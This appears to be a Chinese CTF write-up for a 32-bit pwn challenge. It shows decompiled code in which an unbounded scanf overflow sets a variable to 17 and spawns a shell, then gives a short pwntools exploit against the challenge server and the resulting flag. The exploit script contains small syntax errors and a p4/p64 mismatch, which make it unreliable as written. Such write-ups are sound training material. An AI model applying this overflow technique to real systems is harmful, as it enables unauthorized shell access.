分析

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Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

ida查看一下逻辑:

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int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

道理很简单,就是当var[13] == 17LL,就可以拿到shell了,直接构造数组:

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b'a'*13*4 + p4(17)

var[13]其实是第14个数,所以乘13,乘4是因为4字节

exp

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from pwn import
host remote("node5.buuoj.cn",29636)
buf=b'a'*13*4+p64(17)
host.sendline(buf)
host.interactive()

flag{b11bc65e-7182-4b10-8f5e-90b8d95fe80c}